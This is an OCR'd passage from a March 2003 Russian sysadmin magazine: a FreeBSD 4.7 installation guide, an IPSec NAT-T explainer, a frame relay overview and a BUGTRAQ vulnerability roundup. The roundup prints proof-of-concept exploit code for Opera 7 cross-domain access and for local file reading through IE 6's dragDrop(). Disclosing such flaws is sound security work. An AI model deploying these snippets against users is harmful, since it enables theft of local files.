администрирование Сейчас в качестве системы для компьютера, используемого в качестве сервера, наиболее популярными являются Windows, Linux и различные варианты BSD, в особенности FreeBSD. Хотя на этом рынке и «засветилась» MacOS в своей ягуаровой шкуре и различные варианты коммерческих Unix, но их доля существенно мала по сравнению с ведущей троицей. Если бы у меня спросили, какую ОС из этой троицы я бы установил в качестве сервера, я бы не задумываясь ответил: FreeBSD. Почему? Стабильность серверов под управлением этой системы уже давно ни у кого не вызывает сомнений. Одним из показателей надежности работы сервера является uptime – время непрерывной бесперебойной работы. Так вот, средний uptime системы под управлением Windows приблизительно 20 дней, Linux – 85 дней, а системы, основанные на BSD, превосходят и этот показатель (подробности на http://uptime.netcraft.com/). Первые пятьдесят серверов в списке возглавляют различные варианты BSD, у последнего в этом списке среднее время непрерывной работы равнялось 780 дням. Только в этом году количество серверов под управлением Linux превысило таковых под управлением FreeBSD, да и то с символическим отрывом в 1%, но это уже скорее резуль-

тат хорошей маркетинговой политики таких компаний, как AltLinux и ASPLinux, что и говорить, Linux уже стал хорошим продуктом, за который пользователи хотят отдавать свои кровные. К тому же по сообщениям институтов, занимающихся безопасностью, количество дыр в процентном соотношении: Windows – 44%, Linux – 22%, FreeBSD – 9%. С первой, я думаю, все и так ясно. Вторая, по моему мнению, пострадала именно из-за своей популярности, практически все проблемы замечены за последний год. Если раньше релизы дистрибутивов выходили приблизительно два раза в год, то в 2002 году все ведущие производители Linux буквально засыпали нас ими, при этом в релизы включались новейшие версии ПО, не всегда достаточно протестированные. К тому же Linux старались максимально приблизить к рядовому пользователю, которому ужимки в правах Unix-подобных систем не всегда нравятся, что в данном случае не должно сказаться положительно на безопасности. Не подумайте, что я против этой замечательной системы, дома я пользуюсь только ею, но факты есть факты. Чтобы работать в системе, необходимо первоначально ее установить. Описанием чего, собственно говоря, и займемся в этой статье. Сама по себе установка ненамного сложнее, чем таковая в Linux. Но в неко-

торых вопросах она коренным образом отличается, да и предназначенная для этого штатная программа sysinstall отличается от инсталляторов Red Hat, поэтому для пользователя Linux будет несколько непривычна. Перед началом установки желательно иметь представление об используемом оборудовании. На большинство компьютеров, используемых в сфере малого и среднего бизнеса, которые, как правило, скомпанованы из самых распространенных устройств, FreеBSD установится без проблем. Но если у вас в составе компьютера имеется что-то суперсовременное, желательно предварительно свериться со списком на http:/ /www.freebsd.org.ru/hardware/. В дальнейшем будем для краткости предполагать, что установка производится с загрузочного CD-ROM’a, остальные отнесем к исключительным случаям. Этапов установки я бы выделил четыре: подготовка жесткого диска; выбор пакетов; собственно инсталляция; послеинсталляционное конфигурирование системы. Причем всегда можно будет вернуться к любому этапу, а конфигурирование вообще провести отдельно. Устанавливать будем версию 4.7 – дос-

Рис. 1

№3(4), март 2003

13

администрирование

Рис. 2

Рис. 3 тупный последний релиз на момент написания статьи. И хотя уже доступен предрелиз версии 5.0, особых отличий в программе установки там не встретите. Итак, вставляем диск и перезапускаем машину. После загрузки происходит тестирование имеющегося оборудования, по окончании которого появляется предложение сконфигурировать ядро. Здесь возможны три варианта: пропустить конфигурацию (по умолчанию); конфигурация в визуальном режиме; конфигурация ядра для экспертов.

14

В большинстве случаев достаточно выбрать первый пункт, но если вы точно знаете, какое оборудование у вас установлено, то, выбрав второй, можно отключить ненужное. После окончания загрузки появляется главное меню программы sysinstall (рис.1). Пользоваться мышью, работая с sysinstall, нельзя, для навигации и выбора здесь используется исключительно клавиатура. Стрелками вверх/вниз осуществляется переход к предыдущему/следующему пункту меню, влево/ вправо переключают между вариантами выбора внизу экрана, например по рисунку «Select» и «Exit», для навига-

ции может также использоваться клавиша табуляции. Клавиша пробела используется для выбора пункта, где это необходимо. Кроме того, большую часть опций можно выбрать посредством выделенных букв. Для получения дополнительной информации выберите пункт «Usage». К собственно инсталляции относятся первые три пункта (не считая Usage), а именно: Standart – отмечен как рекомендуемый; Express – для нетерпеливых: автоматическая разбивка и минимальный (базовый) набор утилит, и не обошлось без Custom – выборочной инсталляции. Я лично даже при установке «всенародной» системы

администрирование всегда предпочитаю выборочный вариант установки, ведь только при выборе данного пункта можно полностью контролировать все действия. Естественно, обладая некоторыми знаниями. Итак, решено, жмем на «Custom», после чего появляется подменю, соответствующее шести этапам инсталляции (рис.2). В пункте меню «Options» (рис.3) на первоначальном этапе можно ничего не трогать, потом всегда можно будет переопределить значения после установки, воспользовавшись этим же пунктом, интерес пока представляют опции Editor, Browser package и Browser Exec. Сразу хочу отметить: не выбирайте здесь приложения, работающие под X-Windows, иначе потом возникнут сложности при редактировании конфи-

гурационных файлов и просмотре документации. Из редакторов в дистрибутиве доступны: ee (по-умолчанию), vi (выучить хотя бы пару команд для работы с ним просто необходимо) или pico, emacs, только не забудьте затем установить его при выборе пакетов. Веб-браузер links, умеющий работать с таблицами и понимающий фреймы, советую оставить (в более ранних версиях по умолчанию устанавливался lyx, который желательно изменить на вышеназванный). Следующий этап уже более ответственный. В пункте Partition создаются дисковые разделы. Вот здесь прячется самое основное отличие от Linux. И прежде всего это отличие касается терминологии. Первичные дисковые раз-

делы, которых, к слову, не может быть на диске больше четырех (теоретически, кстати, это возможно, но вряд ли кто-то осмелится нарушить), в терминологии FreеBSD именуются слайсами «slices», а вот разделами «partition» окрестили логические разделы, которые создаются непосредственно в слайсах. К тому же разделы могут быть созданы внутри всех имеющихся слайсов, здесь, в отличие от Windows, которая может самостоятельно загружаться только с первичного раздела, никаких ограничений нет. Если в системе несколько жестких дисков, то вы увидите меню (см. рис.4).

IDE-диски в системе обозначаются так: ad1 – первый «ведущий» физический диск в системе, ad2 – второй; это

Рис. 4

Рис. 5

№3(4), март 2003

15

администрирование

Рис. 6

Рис. 7 может быть либо slave на первом контроллере, либо мастер на втором – в зависимости от того, как они установлены и т. д. до ad3. Если в системе установлены дополнительные контроллеры, в частности RAID, то нумерация дисков, подключенных к ним, начинается с ad4. Более того, при включении режима RAID они начинают дополнительно называться и ar0-ar3, так что, возможно, вы увидите даже оба эти варианта. Названия SCSI-дисков начинается с da, флоппи диска – fd0, а CDROM – acd. Дальше – больше. Каждый слайс имеет свой порядковый номер, который в обозначении предваряется буквой s: ad0s1, ad0s2 и т. д. А вот за разделами закреплена буква. Причем за некоторыми не какая-нибудь, а вполне определенная. Так, корневой раздел обозначается всегда буквой а и, как вы понимаете, раздел, обозначенный такой буквой, может быть только один. Буква b досталась разделу подкачки, с обозначает весь слайс в целом. Так вот, в этом пункте создаются именно слайсы и ничего более. Выберите нужный диск и вслед за

16

этим вызывается редактор разделов (Partition Editor, рис.5). Если будете использовать весь диск, а на сервере это скорее так и есть, то достаточно нажать А «Use Entire Disk» и программа разместит слайс, который займет все свободное пространство. Если необходимо создать несколько слайсов, нажмите С «Create slice», программа запросит требуемый объем, есть возможность ввести его сразу в мегабайтах, поставив букву м за цифрами (1000 м) или сразу изменив с помощью клавиши Z единицы отображения (рис.6). Повторите эту же операцию для остальных жестких дисков, присутствующих в системе. При выходе из редактора разделов система спросит, куда установить загрузчик, выбираем значение, указанное по умолчанию, т.е. MBR (рис.7). Теперь переходим собственно к созданию разделов, для чего выбираем пункт Disk Label Editor. На этом этапе необходимо определиться с количеством разделов и их размером. Здесь я позволю себе сделать небольшое отступление. Все дело в том, что во всех Unix-подобных системах нет понятия,

как диски C, D и т. д. Здесь все доступные разделы монтируются в файловую систему, которая напоминает дерево и пользователь даже может не знать (да и не должен), на каком из разделов диска находится файл, а они, к слову, спокойно могут находиться вообще на другом компьютере. Для пользователя при нормальном администрировании эта система остается прозрачной. Так вот, самый главный раздел называется корневым и обозначается /. Следующий необходимый для нормальной работы системы раздел называется swap. Предназначен он для расширения реальной оперативной памяти. В случае если какая-то страница долгое время не используется, FreeBSD перемещает ее на жесткий диск, т.е. в раздел swap, освобождая тем самым оперативную память. Данный раздел желательно разместить в самом начале жесткого диска (доступ осуществляется быстрее), а если в системе их несколько, то равномерно распределить по ним. О размере могу сказать следующее. Когда цена на память «кусалась», было распространено выбирать его равным двух- или

администрирование трехкратным размеру имеющейся оперативной памяти. При применении компьютера под управлением FreeBSD в качестве рабочей станции этот вариант скорее бы сгодился. Но активное использование раздела swap на сервере сразу же говорит о том, что памяти явно недостаточно и ее просто необходимо увеличить. А при памяти, большей или

равной 256 Мб, создавать раздел swap большего размера вряд ли будет целесообразно. Так вот, можно остановиться и на двух вышеперечисленных разделах. Но, например, чтобы не повредить корневой раздел во время сбоя системы, желательно, чтобы он находился в разделе, имеющем атрибут «только для чтения», в правильно созданной

файловой системе в данный раздел запись осуществляется довольно редко. К тому же, если злоумышленник создаст файл в доступный для записи раздел (/home, /tmp), занимающий всё свободное пространство, то система попросту перестанет работать. Итак, необходимо создать как минимум еще два раздела /usr и /var, а

Рис. 8

Рис. 9

№3(4), март 2003

17

администрирование

Рис. 10 если предстоит обслуживать большое количество пользователей, то желательно поместить раздел /home (по умолчанию это символическая ссылка на каталог /usr/home) на отдельный раздел жесткого диска в целях безопасности и вынести отдельно /tmp. А вот про размеры разделов однозначно сказать затрудняюсь. Если FreeBSD будет использоваться как сервер печати, MAIL и веб-сервер, то здесь основное место будут занимать разделы /var и дополнительно /home в последнем случае. А для файл-сервера основным будет раздел /home, где пользователи будут размещать свои файлы. Создаются разделы аналогично предыдущему пункту. Нажимаем С, программа установки спросит тип создаваемого раздела (swap или FS) и точку монтирования, затем вводим необходимый размер раздела. Для интереса можете посмотреть, нажав клавишу А, что программа предлагает по умолчанию (рис.8). Обратите внимание,

18

что все разделы, за исключением корневого, обозначены как UFS +S. Это показывает, что для данного раздела включена опция Soft Updates. Назначение ее в следующем. Как известно, в Linux для обеспечения более устойчивой работы системы, сокращения времени на перезагрузку и прочее в последнее время используются журналируемые файловые системы. Суть их такова: все действия до непосредственной записи на диск заносятся в журнал и система после сбоя может проанализировать его и уже знает, где находятся несогласованные сектора. Но в FreeBSD не поддерживаются журналируемые файловые системы. Вместо этого используется мягкое обновление – Soft Updates, непосредственно встроенное в ядро и не требующее ведение отдельного журнала. Можно включить данную опцию и для корневого каталога: аргументы, приводимые против, не кажутся убедительными, но, как я уже говорил, в правильно создан-

ной файловой системе в корневой раздел запись практически не производится и необходимости в такой опции попросту нет. После создания всех разделов нажмите кнопку Q для внесения изменений и, выходя из редактора, не используйте при этом опцию W, так как она предназначена для внесения изменения в существующие разделы. Следующим этапом будет выбор необходимых пакетов для установки. Для этого выбираем пункт «Choose Distributions» (рис.9). Если нет проблем с дисковым пространством, можно выбрать пункт «All», но для установки сервера, не требующего наличия X-Window, можно выбрать пункт «Developer» или «Minimal»: в последнем случае может понадобиться доустановить кое-что вручную (криптография, файлы совместимости с FreeBSD 3.x). И, конечно же, есть пункт «Custom» (рис.10), в котором можно самостоятельно выбрать необходимые пакеты. При этом осуществляется кон-

администрирование троль зависимостей. При выборе программы, если в какой-либо библиотеке или другой программе возникает необходимость, то она будет отмечена буквой D. Поэтому желательно просмотреть все два раза, для того чтобы быть уверенным, что установка про-

грамм пройдет без проблем. Если есть необходимость в установке X-Window, то, начиная с версии 4.6, в состав входит пакет XFree86 4.2.0, обеспечивающий работу с практически самыми современными видеоадаптерами. После выбора необходимых паке-

тов переходим к следующему этапу установки. Выбор источника инсталляции (Choose Installation Media, рис.11). Здесь необходимо указать источник, с которого будет производиться инсталляция. До этого, кстати, все операции мы проделывали с виртуальной систе-

Рис. 11

Рис. 12

№3(4), март 2003

19

администрирование

Рис. 13

Рис. 14

20

администрирование

Рис. 15 мой, еще никаких изменений, включая изменения файловой системы, проделано не было. Это последний рубеж, перед которым еще можно отказаться. Как мы уже договорились, устанавливать будем с CD-ROM, поэтому выбираем соответствующий пункт меню. Вот после этого действительно начинается создание слайсов, разбиение их на разделы и создание на них файловых систем. После чего следует собственно установка выбранных компонентов дистрибутива. После окончания процесса приступаем к следующему этапу, а именно к конфигурированию свежеустановленной системы. Для чего обращаемся к пункту «Configure» (рис.12). Как можно заметить, с некоторыми пунктами мы уже встречались – это пункты Distributions, Packages, Fdisk и Label. Далее переходим к выбору пароля суперпользователя – Root Password. При необходимости в следующем пункте можно создать необходимые учетные записи пользователей, но данный инструмент, по-моему, удобен лишь при наличии небольшого их числа; при большом количестве лучше редактировать файлы напрямую или написать скрипт для этого. В пункте меню Console необходимо установить шрифт (Font) для вывода на экран консоли, в кириллической кодировке используется IBM866. А в Keymap для раскладки клавиатуры выбираем родной для Unix-систем KOI8-R (рис.13).

№3(4), март 2003

Настроить клавиатуру и скринсейвер можно в пунктах Repeat и Saver соответственно, а вот в Screenmap задаются карты соответствия клавиатурной раскладки экранным шрифтам. Применительно к нашему случаю это будет KOI8-К to IBM866. В назначении пунктов Media и Time Zone, я думаю, разберетесь сами. А вот в Mouse настраивается служба консольной мыши. Сначала ее необходимо включить в соответствующем пункте – Enable, в Type выбираем ее тип (здесь в большинстве подойдет значение Auto) и тип интерфейса в Port (PS/2 или COM-порт), а в Flag можно добавить эмуляцию третьей кнопки при отсутствии таковой (-3) или увеличить скорость перемещения (-r high). Не будем пока трогать настройку сетевых соединений в пункте Networking – их доводкой займемся как-нибудь в следующий раз, так как здесь можно настроить лишь общие параметры сетевого соединения. В пунктах Security и Startup выбираются уровень защищенности системы и сервисы, запускаемые при старте. При выборе пункта TTYs вызывается на редактирование файл /etc/ttys. Для русификации консоли необходимо заменить значение cons25 на cons25r, т.е. привести все строки к такому виду: ttyv1 "/usr/libexec/getty Pc" cons25r on secure

К тому же, если не планируется использование X-Window, закомментируйте строку: ttyv8 "/usr/X11R6/bin/xdm -nodaemon" xterm off secure

она вряд ли вам пригодится. А если наоборот, то можно сэкономить на каждом терминале приблизительно по 500 Кб оперативной памяти, убрав (закомментировав) лишние, т.е. оставив один-два. И остался последний момент: настройка X-Window (если конечно это необходимо). Причем программа sysinstall позволяет произвести это несколькими способами (рис.14): в графическом режиме, с помощью меню и в текстовом, отвечая на каверзные вопросы программы. Первоначально выбирается мышь, чтобы ей можно было пользоваться в дальнейшем: здесь в большинстве случаев достаточно выбрать Auto и устройство /dev/ sysmouse. На вопросы о характеристиках монитора и его марке отвечайте честно, иначе может случиться непоправимое. По окончанию настройки вас попросят выбрать оконный менеджер, загружаемый по умолчанию (рис.15). Теперь после выхода из программы sysinstall система перезагрузится. В результате мы получили полностью работоспособную систему с необходимым первоначальным минимумом. Но впереди еще много работы.

21

администрирование

IPSEC ЧЕРЕЗ NAT: ПРОБЛЕМЫ И РЕШЕНИЯ

ТАТЬЯНА АНТИПОВА

22

администрирование Исторически одной из проблем с развертыванием Layer Two Tunneling Protocol с Internet Protocol security (L2TP/IPSec) является то, что IPSecузлы не могут быть расположены позади Network Address Translator (NAT). NAT чаще всего используется в корпоративных сетях, чтобы выходить в Интернет с единственного IPадреса, тем самым эффективнее используя ограниченное адресное пространство IP-адресов. Однако NAT имеет проблемы с использованием сквозных протоколов типа IPSec. Новая технология, известная как IPSec NAT Traversal (NAT-T), находится в процессе стандартизации в IPSec Working Group. IPSec NAT-T описан в Internet drafts под названием «UDP Encapsulation of IPSec Packets» (draftietf-ipsec-udp-encaps-02.txt) и «Negotiation of NAT-Traversal in the IKE» (draftietf-ipsec-nat-t-ike-02.txt). IPSec NAT-T поддерживает различные методы передачи IPSec-защищенных данных. В процессе установления IPSecподключения, IPSec NAT-T-узлы автоматически определяют: Может ли инициализированный IPSec-узел (как правило, компьютер клиента) и запрашиваемый IPSec-узел (обычно сервер), использовать IPSec NAT-T. Есть ли в пути между этими узлами NAT. Если оба эти условия выполняются, то узлы автоматически используют IPSec NAT-T, чтобы посылать IPSecзащищенный трафик через NAT. Если хотя бы один узел не поддерживает IPSec NAT-T или в пути между узлами нет NAT, то выполняется обычная стандартная IPSec-защита.

IPSec NAT-T поддерживается Microsoft L2TP/IPSec VPN Client, который доступен для бесплатной загрузки, позволяя компьютерам с системами Windows 98, Me и NT 4.0 создавать L2TP/IPSec подключения.

IPSec NAT-T будет включен в Windows .NET Server и поддерживается многими VPN-серверами. В этой статье мы исследуем проблемы, связанные с использованием IPSec через NAT, расскажем о способе решения проблем в IPSec NAT-T и закончим изменениями в Internet Key Exchange (IKE) согласо-

№3(4), март 2003

вания для Quick Mode и Main Mode. Обратите внимание!!! IPSec NAT-T определен только для ESP-трафика.

Проблемы, связанные с использованием IPSec через NAT Ниже представлены проблемы использования IPSec через NAT: NAT не может модифицировать контрольные суммы верхнего уровня.

TCP- и UDP-заголовки содержат контрольную сумму, которая рассчитывается из значения IP-адреса источника и адресата и номера портов. Когда NAT изменяет IP-адрес и/или номер порта в пакете, он обычно модифицирует TCP- или UDP- контрольную сумму. Когда же TCP- или UDP- контрольная сумма зашифрована в ESP, она не может быть модифицирована. Поскольку NAT изменяет адреса или порты, то обычно происходят сбои проверки контрольной суммы в адресате.

NAT не может мультиплексировать IPSec-потоки данных.

ESP-защищенный IPSec-трафик не содержит видимого TCP-или UDPзаголовка. ESP-заголовок расположен между IP-заголовком и зашифрованным TCP- или UDP-заголовком, и использует 50 IP-протокол. Из-за этого не может использоваться TCP- или UDP-номер порта, чтобы мультиплексировать трафик к различным хостам в частной сети.

ESP-заголовок содержит поле, называемое Security Parameters Index (SPI). SPI используется вместе с IPадресом адресата в открытом IP-заголовке и IPSec security protocol (ESP или AH) идентифицирует IPSec security association (SA). Для входящего NAT-трафика, IPадрес адресата должен быть отображен к частному IP-адресу. Для множественных IPSec-узлов в частной NAT-сети, IP-адрес адресата прибывающего трафика для нескольких IPSec-ESP-потоков данных – один и тот же адрес. Чтобы отличать один IPSec-ESP-поток данных от другого, IP-адрес адресата и SPI должны или быть прослежены, или отображены к частному IP-адресу адресата и SPI. Поскольку SPI – 32-разрядное

число, шанс использования одинаковых значений SPI между несколькими частными сетевыми клиентами крайне низок. Проблема состоит в том, что трудно определить, какое исходящее SPI-значение соответствует прибывающему SPI-значению.

NATs не может отображать SPI, потому что ESP-трейлер содержит код идентификации сообщения, разбавленный цифровым мусором (hashed message authentication code, HMAC), который проверяет целостность модуля данных ESP-протокола (ESP protocol data unit, PDU), состоящего из ESP-заголовка, ESPданных и ESP-трейлера, если SPI будет изменен, то недействительным окажется HMAC-значение.

IKE-UDP-номер порта не может быть изменен. Некоторые выполнения IPSec использует 500 UDP-порт как UDP-номер порта источника и адресата. Однако для IPSec-узла, расположенного позади NAT, NAT изменяет исходный адрес начального IKE-MainMode-пакета. В зависимости от выполнения, IKE-трафик от другого порта, кроме 500, будет отвергнут. Возможны проблемы NAT – таймаут отображения IKE-UDP-порта.

UDP-отображения в NAT часто удаляются очень быстро. Инициатор IKE-трафика создает отображение UDP-порта в NAT, который используется для продолжительных начальных Main-Mode- и Quick-ModeIKE-согласований. Однако если респондент позже посылает IKE-сообщения инициатору, и не присутствует отображение UDP-порта, то такое сообщение будет отвергнуто. Идентификационные IKE-данные содержат внедренный IP-адрес. Для Main Mode и Quick Mode согласований каждый IPSec-узел посылает идентификационные IKE-данные, которые включают внедренный IPадрес для посылаемого узла. Поскольку исходный адрес посылаемого узла был изменен NAT, внедренный адрес не соответствует IP-адресу IKE-пакета. IPSec-узел, который проверяет правильность IP-адреса, отвергнет идентификационные IKE-

23

администрирование данные и откажется от дальнейших IKE-согласований.

Краткий обзор NAT-T изменений на IPSec Ниже представлены изменения IPSec для NAT-T: Инкапсулирование UDP-пакета для ESP. UDP-заголовок помещен между внешним IP-заголовком и ESP-заголовком, инкапсулируя ESP PDU. Те же самые порты, которые используются для IKE, используются для UDP инкапсулированного ESP-трафика. Изменяемый формат IKE-заголовка.

IPSec NAT-T IKE-заголовок содержит новое поле Non-ESP Marker, которое позволяет получателю различать UDP-инкапсулированное ESP PDU и IKE-сообщение. IPSec NAT-T узлы начинают использовать новый IKE-заголовок после того, как они решили, что присутствует промежуточное NAT-звено. Новый NAT-Keepalive.

UDP-сообщение, которое использует те же самые порты, что и IKE-трафик, содержит один байт (0xFF), используемый для обновления отображения UDP-порта в NAT для IKE и UDP-инкапсулированного ESP-трафика к частному сетевому хосту. Новый Vendor ID IKE. Vendor ID IKE содержит известное значение хеш-функции, которое указывает, что узел способен выполнять IPSec NAT-T. Новый NAT-Discovery (NAT-D) IKE. NAT-Discovery (NAT-D) IKE содержит значение хеш-функции, которое включает номер порта и адрес. Узел IPSec включает два NAT-Discovery в течение Main-Mode-согласования – один для адреса назначения и порта и один для исходного адреса и порта. Получатель использует NAT-Discovery, чтобы обнаружить, транслирован ли адрес или номер порта, и, основываясь на измененном адресе и порте, определять, какие узлы расположены позади NAT. Новые режимы инкапсулирования для UDP-инкапсулированного ESP транспортирного режима и туннельного режима.

24

Эти два новых режима инкапсулирования определены в течение Quick Mode согласования, чтобы сообщить IPSec-узлу, что должно использоваться инкапсулирование UDP-пакета для ESP PDU. Новый NAT-Original Address (NATOA) IKE. NAT-Original Address (NAT-OA) IKE содержит непереведенный адрес IPSec-узла. Для UDP-инкапсулированного ESP транспортного режима каждый узел посылает NAT-OA IKE в течение Quick-Mode-согласования. Получатель хранит этот адрес в параметрах для SA.

Пример IKE-согласования для Main Mode и SA Quick Mode, используя IPSec NAT-T Добавление новых NAT-D- и NATOA-значений и UDP-туннельных типов изменяет Main-Mode- и QuickMode-IKE-согласования. Следующая таблица показывает использование Vendor-ID и NAT-D IKE в течение Quick-Mode-согласования для Windows основанного IPSec-узла, использующего Kerberos идентификацию. Жирным шрифтом выделены особенности NAT-T. Если оба узла – IPSec NAT-T, и присутствует не менее одного NAT между ними, они используют IPSecNAT-T-варианты в Quick-Mode-согла-

совании. Принимая, что существует не менее одного NAT между этими двумя узлами, окончательные QuickMode-согласования показаны в следующей таблице. В конце Quick-Mode-переговоров оба IPSec-узла знают первоначальный адрес друг друга, посылают по мере необходимости NAT-Keepalive пакеты, и используют UDP-инкапсулирование для ESP PDU. Для получения дополнительной информации: IKE Negotiation for IPSec Security Associations; Windows 2000 Network Address Translator (NAT); Windows 2000 IPSec Web site; IP Security Protocol Working Group; Microsoft L2TP/IPSec VPN Client.

BUGTRAQ Множественные уязвимости в Opera 7.0 Все браузеры с поддержкой JavaScript включают модель безопасности, которая предотвращает доступ одного домена к документам другого домена.

Opera 7 включает новый подход к осуществлению междоменной защиты – «caller-based» модель, в отличие от «origin-based» модели, используемой в других браузерах. Уязвимость связана с тремя различными недостатками в этой модели: Можно обратиться и выполнить функции в другом домене. Функции выполняются с мандатами вызывающего домена, а не основного домена. Возможно отменить свойства и методы в других окнах. Первый недостаток означает, что окно в одном домене способно выполнить функции в окне, которое находится в другом домене. Этот недостаток сам по себе небольшая угроза из-за второго недостатка, который означает, что даже если функция выполнена в окне жертвы, она будет выполнена с опознавательными мандатами атакующего, и поэтому неспособна обратиться к документу жертвы. Второй недостаток означает, что если атакующий может заставить жертву выполнять функцию, она выполнится с опознавательными мандатами жертвы. И из-за первого недостатка жертва не будет иметь проблем, обращаясь к злонамеренной функции, созданной атакующим. Третья, и самая опасная уязвимость означает, что атакующий может подменить методы в окне жертвы собственным кодом. Используя комбинацию этих трех уязвимостей, атакующий может выполнять практически любые действия на файловой системе пользователя, включая просмотр любых файлов, просмотр содержания директорий, чтение почтовых сообщений, написанных или отправленных почтовой программой Opera – M2, и выполнять другие злонамеренные действия. Пример эксплоита: <script language="jscript"> var oWin=open("file://localhost/console.html","",""); oWin.setInterval=function () { alert("Access to local resource achieved:" +oWin.document.location.href); } </script>

DoS против Posadis DNS server Posadis DNS server – простой DNS-сервер, разработанный для Win32 и Linux, который поддержит администрирование через веб-интерфейс. Обнаруженная уязвимость позволяет удаленному пользователю аварийно завершить работу DNS-сервера. Сообщается, что программное обеспечение должным образом не проверяет, содержит ли удаленное DNS-сообщение раздел «question». Из-за этого можно заставить Posadis читать из NULL местоположения памяти. Удаленный атакующий может послать специально сформированное DNSсообщение, которое приведет к аварийному завершению работы сервера. Неизвестно, может ли уязвимость использоваться для выполнения произвольного кода. Уязвимость обнаружена в Posadis DNS Server 0.50.х – 0.50.8.

№3(4), март 2003

Доступ к произвольным файлам на системе пользователя в Microsoft Internet Explorer Уязвимость обнаружена в Microsoft Internet Explorer. Удаленный пользователь может создать злонамеренный код, который произведет перетаскивание произвольного HTML. Уязвимость обнаружена в dragDrop()-методе. Согласно сообщению, удаленный пользователь может создать злонамеренный HMTL-код, который заставит пользователя загрузить произвольный текст в HTML upload управление. В результате удаленный пользователь может читать произвольные файлы на системе пользователя. Пример: <head> <script language="javascript"> function handleOnmousedown() { top.moveBy(1,0) document.all.target.style.left = 10; window.setTimeout("top.moveBy(-1,0)", 5); document.all.source.dragDrop(); } function handleDragstart() { window.event.dataTransfer.setData("text", "c:\\jelmer.txt") } </script> <style> .fakelink { color: Blue; cursor: hand; text-decoration: underline; } #target {position: absolute; left: -300px; z-index: 1;} </style> </head> <body> <span id="source" class="fakelink" onmousedown="handleOnmousedown()" ondragstart="handleDragstart()">Click me</span> <input id="target" type="file"> </body>

Демонстрационный эксплоит можно посмотреть здесь: http://kuperus.xs4all.nl/security/ie/xfiles.htm. Уязвимость проверена в IE 6 sp1 + все исправления.

Sun Java Secure Socket Extension (JSSE) может некорректно утверждать сертификаты веб-сайтов Уязвимость проверки сертификатов обнаружена в Sun’s Java Secure Socket Extension (JSSE). Уязвимы также Java Plug-In и Java Web Start. Программное обеспечение может некорректно подтверждать подлинность веб-сайтов или JAR-файлов. Sun сообщил, что JSSE может неправильно проверять правильность цифрового сертификата сайта. В результате злонамеренный сайт может быть заверен для SSL-транзакций. Согласно Sun, если SSLContext инициализирован с использованием функции SSLContext.init() с независимым образцом X509TrustManager выполнения, JSSE неправильно вызовет метод isClientTrusted() для определения доверенного сертификата. Также сообщается, что Java Plug-in и Java web Start могут некорректно удтверждать цифровые сертификаты подписанных JAR-файлов. В результате злонамеренный код может подтвердить подлинность как доверенный код. Уязвимость обнаружена в JSSE 1.0.3 or earlier; also JSSE in SDK and JRE 1.4.0_01.

25

администрирование

АБСОЛЮТНО ВСЕ О FRAME RELAY

Технология frame relay изначально расcчитывалась как высокоскоростная технология для территориальных сетей, предназначенная для передачи чувствительного к задержкам трафика, которым, в частности, являются видео- и аудиопотоки, – что и стало главным фактором высокой востребованности данной технологии.

СЕРГЕЙ РОПЧАН 26

администрирование Сети frame relay – сравнительно новые сети, которые гораздо лучше подходят для передачи пульсирующего трафика локальных сетей. По сравнению с технологией Х.25, это преимущество проявляется только тогда, когда каналы связи приближаются по качеству к каналам локальных сетей; в случае же глобальных сетей такое качество достижимо при использовании волоконнооптических кабелей. Преимущество сетей frame relay заключается в их низкой протокольной избыточности и дейтаграммном режиме работы, что обеспечивает высокую пропускную способность и небольшие задержки кадров. Надежную передачу кадров данная технология не обеспечивает, данные сети специально разрабатывались как общественные сети для соединения частных локальных сетей при скорости передачи данных до 2 Мбит/c. У данной технологии есть особенность, которая заключается в гарантированной поддержке основных показателей качества транспортного обслуживания локальных сетей – средней скорости передачи данных по виртуальному каналу при допустимых пульсациях трафика. Существует еще одна технология – АТМ, которая может гарантировать аналогичные показатели, в то время как все остальные технологии предоставляют требуемое качество обслуживания только в режиме “с максимальными усилиями” (best effort), то есть без гарантий. Технология frame relay в сетях ISDN стандартизирована как служба. В рекомендациях I.122, вышедших в свет в 1988 году, эта служба входила в число дополнительных служб пакетного режима, но затем уже при пересмотре рекомендаций в 1992-93 гг. она была названа службой frame relay и вошла в число служб режима передачи кадров наряду со службой frame switching. Служба frame switching работает в режиме гарантированной доставки кадров с регулированием потока. На практике поставщика услуг предлагают только саму службу frame relay. Технология frame relay сразу привлекла большое внимание ведущих

№2(3), март 2003

телекоммуникационных компаний и организаций по стандартизации. В ее становлении и стандартизации помимо CITT (ITU-T) активное участие принимают Frame Relay Forum и комитет T1S1 института ANSI. Некоммерческую организацию Frame Relay Forum образовали в 1990 году компании Cisco Systems, StrataCom, Northern Telecom и Digital Equipment Corp. для развития и конкретизации с тандартов CCITT и ANSI. Спецификации Frame Relay Forum носят название FRF и имеют порядковые номера. Спецификации FRF часто стандартизируют те аспекты данной технологии, которые не нашли еще свое отражение в стандартах ITU-T и ANSI. Например, спецификация FRF.11 определяет режим передачи голоса по сетям frame relay. Концорциум Frame Relay Forum разработал спецификацию, отвечающую требованиям базового протокола frame relay, разработанного T1S1 и CCITT. Однако консорциум расширил базовый протокол, включив дополнительные возможности по управлению сетью со стороны пользователя, что очень важно при использовании технологии frame relay в сложных корпоративных сетях. Эти дополнения к frame relay обобщенно называют Local Management Interface (LMI) – локальный интерфейс управления. Стандарты ITU-T обычно отличаются высоким уровнем сложности и наличием многих возможностей, которые достаточно трудно реализовать на практике. Спецификации Frame Relay Forum упрощают некоторые аспекты стандартов ITU-T или отбрасывают некоторые возможности. Так, технология frame relay не нашла своего отражения в спецификации FRF, а процедуры создания коммутируемых виртуальных каналов появились в спецификациях FRF позже, чем в стандартах ITU-T, и оказались более простыми. Стандарты frame relay, как ITU-T/ ANSI, так и Frame Relay Forum, определяют два типа виртуальных каналов: постоянные (PVC) и коммутируемые (SVC). Это соответствует потребностям пользователей, так как для соединений, по которым тра-

фик передается почти всегда, больше подходят постоянные каналы, а для соединений, которые нужны на несколько часов в месяц, больше подходят коммутируемые каналы. Однако производители оборудования frame relay и поставщики услуг сетей frame relay начали с поддержки только постоянных виртуальных каналов. Это, естественно, является большим упрощением данной технологии. Тем не менее в последнее время появилось оборудование, поддерживающее коммутируемые виртуальные каналы, и появились поставщики, предлагающие данную услугу.

